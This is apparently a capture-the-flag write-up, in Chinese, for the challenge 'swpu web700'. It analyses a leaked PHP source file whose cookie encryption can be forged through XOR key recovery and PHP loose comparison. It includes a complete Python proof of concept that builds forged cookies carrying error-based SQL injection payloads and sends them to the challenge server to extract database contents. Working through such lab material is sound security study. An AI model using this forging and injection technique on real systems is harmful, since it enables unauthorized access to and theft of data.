一个SQL注入绕过分析(来源swpu web700)

来源:互联网 发布:mc9s12xs128单片机调试 编辑:程序博客网 时间:2024/06/05 11:46

访问页面提示:Hello Guest! please use in Admin!
查看cookie是user=DWJ6Ti0bEyhVIwsrK09/G3gSWygIfAJ9QjR2VFk2TjpMeAM4OAYHJFU/ASdRanFVRWEEd0hzBnJxSUl6BmhNaA1oehEtUBMwVWMLKytPfxt4GlswCCoCMkIkdhNZNU54THYDbzgFB2BVbwE0UW1xR0UkBGJIcAZlcUFJLwYxTXgNNXpELR4TdlVsC20rEH8feB9bPgg
+AidCe3YLWTROfkx1AzQ=

每刷新一次变化一次
扫描发现index.php.bak得到源代码:

<?php include('config.php');function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {    $hash = '';    $max = strlen($chars) - 1;    for($i = 0; $i < $length; $i++)  {        $hash .= $chars[mt_rand(0, $max)];    }    return $hash;}function encrypt($txt, $key) {    $key =md5($key);    $rnd = random(32);    $_txt['txt'] =$txt;    $_txt['key'] = md5(substr($key,0,strlen($txt)));    $txt = serialize($_txt);    $txt = $txt.substr($key, 0, 4);    $len = strlen($txt);    $ctr = 0;    $str = '';    for($i = 0; $i < $len; $i++) {        $ctr = $ctr == 32 ? 0 : $ctr;        $str .= $rnd[$ctr].($txt[$i] ^ $rnd[$ctr++]);    }    return base64_encode(kecrypt($str, $key));}function decrypt($txt, $key) {    $key =md5($key);    $txt = kecrypt(base64_decode($txt), $key);    $len = strlen($txt);    $str = '';    for($i = 0; $i < $len; $i++) {        $tmp = $txt[$i];        $str .= $txt[++$i] ^ $tmp;    }    $_txt = unserialize(substr($str, 0, -4));    $_key = md5(substr($key,0,strlen($_txt['txt'])));    return substr($str, -4) == substr($key, 0, 4) && $_key == $_txt['key'] ? $_txt['txt'] : '';}function kecrypt($txt, $key) {    $len = strlen($txt);    $ctr = 0;    $str = '';    for($i = 0; $i < $len; $i++) {        $ctr = $ctr == 32 ? 0 : $ctr;        $str .= $txt[$i] ^ $key[$ctr++];    }    return $str;}$username = decrypt($_COOKIE['user'],$key);$query = mysql_query("select password from manager where username='".$username."'");if(!$query){    die(mysql_error());}$con=mysql_fetch_row($query);if ($con[0] === decrypt($_COOKIE['pass'],$key)) {}else{    setcookie('user',encrypt('guest',$key));    echo "Hello Guest! please use in Admin!";}?>

分析源代码发现加密过程挺复杂的,key未知,md5,32位随机值,serialize,感觉无法破解的样子。搜索关键字发现乌云文章《Destoon B2B 2014-05-21最新版绕过全局防御暴力注入》,其思路是爆破microtime值,这里生成了32位随机值,不可能爆破。
后又找到乌云文章: DedeCMS-V5.7-SP1(2014-07-25)sql注入+新绕过思路(http://www.wooyun.org/bugs/wooyun-2010-071655)很有借鉴意义。

根据代码:

$username = decrypt($_COOKIE['user'],$key);$query = mysql_query("select password from manager where username='".$username."'");if(!$query){    die(mysql_error());}

username是从传入的cookie参数user值解密得到的,可以通过报错注入得到数据库数据。关键是如何构造加密的user值,里面包括要注入的内容。

查看decrypt函数:
key是原始key的md5值,固定为32位。
kecrypt(base64_decode(txt),key) 将密文进行base64解密后,与key每一位循环异或。
设base64_decode(密文)=ABCDEFG…
明文为:abcdefg…
kecrypt函数得到:text=A^key[0],B^key[1]…
再将txt的相邻两位text[i]^text[i+1]得到明文
故a=text[0]^text[1]=A^key[0]^B^key[1]
因此得到key[0]^key[1]=A^B^a,只要求出key[0]^key[1],…key[30]^key[31]这16个数就够了。
然后加密方法为:A随便取各字符,求B就可以了,B=(key[0]^key[1])^A^a
解密方法为:a=(A^B)^(key[0]^key[1]),明文长度固定为密文长度的一半

根据加密函数:

$_txt['txt'] =$txt;$_txt['key'] = md5(substr($key,0,strlen($txt)));$txt = serialize($_txt);

serialize后明文类似
a:2:{s:3:"txt";s:5:"guest";s:3:"key";s:32:"7de814b9f7fba178d2fc2607d45e7746";}9779
前面的字符a:2:{s:3:”txt”;s:5:”guest”;s:3:”key”;s:32:”都是固定的,这里只需要16个字符就够了,可以求出key[i]^key[i+1]的值

解密后的明文要满足两个条件:

substr($str, -4) == substr($key, 0, 4) && $_key == $_txt['key']

关于第一个条件,任意密文解密得到明文就可以得到后面的4个字符,就是key的md5值的最前面4个字符,这个值是固定的,值为9779.
关于第二个条件,_key是key的md5再根据明文长度截取再求md5,基本不可能破解的,但这里php有个弱类型比较问题,任意不为0或空的字符串或数字均可以等于True,因为serialize可以构造boolean类型,因此需要构造的明文类似:a:2:{s:3:”txt”;s:5:”guest”;s:3:”key”;b:1;}9779,注入语句在guest位置,前面的s:5对应字符串长度,需要修改。

然后再执行加密,解密,注入就水到渠成了。
poc with python2如下:

import base64import requests"""Refer to the encrypt and decrpt method, cliper[i]^cliper[i+1]^raw[i/2]=key[i]^key[i+1],keys is stable"""def getkey():    cliper="XDNPezAGFS57DUhoD2tTN08lbh10AHwDew1AYkEuBXEOOmRfJRtWdQ9lW30LMEBkbEhCMVRvVSFtVWladhhFYFw5TyQwTRU2e01IaA9rUzdPLW4FdFZ8THsdQCVBLQUzDjRkCCUYVjEPNVtuCzdAdmwNQiRUbFU2bV1pD3ZBRXBcZE9xMAMVcHtCSC4PNFMzTyhuC3RCfFl7QkA9QSwFNQ43ZFM="    raw="a:2:{s:3:\"txt\";s:5:\"guest\";s:3:\"key\";s:32:\"d748530a5d6d860bf4596d6924e1548b\";}81dc"    cliper=base64.b64decode(cliper)    keys=[]    rawx=raw[:16]    cliperx=cliper[:32]    for i,c in enumerate(rawx):        keys.append(ord(cliperx[2*i])^ord(cliperx[2*i+1])^ord(c))    return keys"""get the last 4 character of text: 9779"""def testdecode(keys):    cliper="WjVuWlJkLBd9C35eB2NTN0YsTD9kEGAfUCZWdF0yeg5wRFNoW2UyEWELByEFPnNXZ0NjEH9EWi5gWGNQWjRAZVo/bgVSLywPfUt+XgdjUzdGJEwnZEZgUFA2VjNdMXpMcEpTP1tmMlVhWwcyBTlzRWcGYwV/R1o5YFBjBVptQHVaYm5QUmEsSX1EfhgHPFMzRiFMKWRSYEVQaVYrXTB6SnBJU2Q="    cliper=base64.b64decode(cliper)    j=0    text=''    for i in xrange(0,len(cliper),2):        text+=chr(keys[j]^ord(cliper[i])^ord(cliper[i+1]))        j+=1        if(j==16):            j=0    print textdef encode(inject,keys):    injectstr="a' and extractvalue(1,concat(0x23,(%s)))-- "%(inject)    str="""a:2:{s:3:"txt";s:%d:"%s";s:3:"key";b:1;}9779"""%(len(injectstr),injectstr)    #print str    c2='a'    j=0    res=''    for i in xrange(0,len(str)):        res+=c2+chr(keys[j]^ord(str[i])^ord(c2))        j+=1        if(j==16):            j=0    return base64.b64encode(res).replace("=","%3D")def sendtext(encodestr):    url="http://web6.wllm.club/index.php"    cookie={'user':encodestr}    x=requests.get(url,cookies=cookie)    print x.contentkeys=getkey()testdecode(keys)sql="concat(user(),0x23,version(),0x23,database())"sendtext(encode(sql,keys))sql="select table_name from information_schema.tables where table_schema=database() limit 0,1"sendtext(encode(sql,keys))sql="select * from flag"sendtext(encode(sql,keys))
0 0
原创粉丝点击